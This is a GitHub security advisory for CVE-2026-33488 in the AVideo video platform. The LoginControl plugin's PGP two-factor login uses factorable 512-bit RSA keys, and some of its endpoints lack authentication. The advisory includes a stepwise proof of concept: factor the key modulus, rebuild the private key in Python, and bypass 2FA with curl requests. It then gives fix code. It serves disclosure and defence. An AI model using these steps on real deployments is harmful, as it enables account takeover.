GitHub Advisoryadvisory · Packagist

GHSA-6m5f-j7w2-w953 AVideo has a PGP 2FA Bypass via Cryptographically Broken 512-bit RSA Key Generation in LoginControl Plugin

HIGH Published 2026-03-20 Modified 2026-03-25 Official page ↗
Aliases
CVE-2026-33488
Ecosystem
Packagist
Packages
wwbn/avideo
Severity
High
CVSS vector
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N
Weaknesses
CWE-326
Reviewed
2026-03-20

Affected packages

• Packagist wwbn/avideo: <= 26.0 (no fix yet)

Description

Summary The `createKeys()` function in the LoginControl plugin's PGP 2FA system generates 512-bit RSA keys, which have been publicly factorable since 1999. An attacker who obtains a target user's public key can factor the 512-bit RSA modulus on commodity hardware in hours, derive the complete private key, and decrypt any PGP 2FA challenge issued by the system — completely bypassing the second authentication factor. Additionally, the `generateKeys.json.php` and `encryptMessage.json.php` endpoints lack any authentication checks, exposing CPU-intensive key generation to anonymous users. Details The vulnerability originates in `plugin/LoginControl/pgp/functions.php` at line 26: ```php // plugin/LoginControl/pgp/functions.php:26 $privateKey = RSA::createKey(512); ``` This code was copied from the `singpolyma/openpgp-php` library's example/demo code, which was never intended for production use. The entire PGP 2FA flow relies on these weak keys: 1. Key generation: When a user enables PGP 2FA, the UI calls `createKeys()` which generates a 512-bit RSA keypair. The public key is saved to the database via `savePublicKey.json.php`. 2. Challenge creation (`LoginControl.php:520-531`): During login, a `uniqid()` token is generated, stored in the session, and encrypted with the user's stored public key: ```php // LoginControl.php:525-530 $_SESSION['user']['challenge']['text'] = uniqid(); $encMessage = self::encryptPGPMessage(User::getId(), $_SESSION['user']['challenge']['text']); ``` 3. Challenge verification (`LoginControl.php:533-539`): The user must decrypt the challenge and submit the plaintext. Verification is a simple equality check: ```php // LoginControl.php:534 if ($response == $_SESSION['user']['challenge']['text']) { ``` Since 512-bit RSA was publicly factored in 1999 (RSA-155 challenge), an attacker who obtains the public key can factor the modulus using freely available tools (CADO-NFS, msieve, yafu) in a matter of hours on modern hardware, reconstruct the complete private key from the prime factors, and decrypt any challenge encrypted with that key. Unauthenticated endpoints (compounding issue): `generateKeys.json.php` does not include `configuration.php` and has no authentication check: ```php // plugin/LoginControl/pgp/generateKeys.json.php:1-2 /dev/null gpg --list-keys --with-key-data | grep '^pub' Or use Python: python3 -c " from Crypto.PublicKey import RSA Parse the PGP key and extract RSA modulus N N will be a ~155-digit number (512 bits) print(f'N = {key.n}') " ``` Step 3: Factor the 512-bit modulus ```bash Using CADO-NFS (typically completes in 2-8 hours on a modern desktop) cado-nfs.py Or using msieve: msieve -v Output: p = , q = ``` Step 4: Reconstruct the private key and decrypt the 2FA challenge ```python from Crypto.PublicKey import RSA from Crypto.Util.number import inverse From factoring step p = q = n = p * q e = 65537 d = inverse(e, (p-1)*(q-1)) Reconstruct private key privkey = RSA.construct((n, e, d, p, q)) Decrypt the PGP-encrypted challenge from the login page and submit the plaintext to verifyChallenge.json.php ``` Step 5: Submit decrypted challenge to bypass 2FA ```bash curl -b "session_cookie" \ "https://target/plugin/LoginControl/pgp/verifyChallenge.json.php" \ -d "response=" Expected: {"error":false,"msg":"","response":""} ``` Unauthenticated endpoint abuse: ```bash No authentication required — CPU-intensive 512-bit RSA keygen curl "https://target/plugin/LoginControl/pgp/generateKeys.json.php?keyPassword=test&keyName=test&[email protected]" Returns: {"error":false,"public":"-----BEGIN PGP PUBLIC KEY BLOCK-----...","private":"-----BEGIN PGP PRIVATE KEY BLOCK-----..."} ``` Impact • 2FA Bypass: Any user who enabled PGP 2FA using the built-in key generator has their second factor effectively nullified. An attacker with knowledge of the password (phishing, credential stuffing, breach reuse) can bypass the 2FA protection entirely. • Account Takeover: Combined with any credential compromise, this enables full account takeover of 2FA-protected accounts. • Denial of Service: The unauthenticated `generateKeys.json.php` endpoint allows anonymous users to trigger CPU-intensive RSA key generation operations with no rate limiting. • Scope: All users who enabled PGP 2FA using the application's built-in key generator are affected. Users who imported their own externally-generated keys with adequate key sizes (2048+ bits) are not affected by the key weakness, but the unauthenticated endpoints affect all deployments with the LoginControl plugin. Recommended Fix 1. Increase RSA key size to 2048 bits minimum (`plugin/LoginControl/pgp/functions.php:26`): ```php // Before: $privateKey = RSA::createKey(512); // After: $privateKey = RSA::createKey(2048); ``` 2. Add authentication to `generateKeys.json.php` (match the pattern used in `decryptMessage.json.php`): ```php error = true; $plugin = AVideoPlugin::loadPluginIfEnabled('LoginControl'); if (!User::isLogged()) { $obj->msg = "Authentication required"; die(json_encode($obj)); } // ... rest of existing code ``` 3. Add authentication to `encryptMessage.json.php` (same pattern): ```php msg = 'Authentication required'; die(json_encode($obj)); } ``` 4. Add minimum key size validation in `savePublicKey.json.php` to reject weak keys regardless of how they were generated: ```php // After line 26, before saving: $keyData = OpenPGP_Message::parse(OpenPGP::unarmor($_REQUEST['publicKey'], 'PGP PUBLIC KEY BLOCK')); if ($keyData && $keyData[0] instanceof OpenPGP_PublicKeyPacket) { $bitLength = strlen($keyData[0]->key['n']) * 8; if ($bitLength msg = "Key size too small. Minimum 2048 bits required."; die(json_encode($obj)); } } ```

Related

Alias · CVE (1)

  • CVE-2026-33488 WWBN AVideo is an open source video platform. vulnerability

Weakness · CWE (1)

  • CWE-326 Inadequate Encryption Strength weakness

References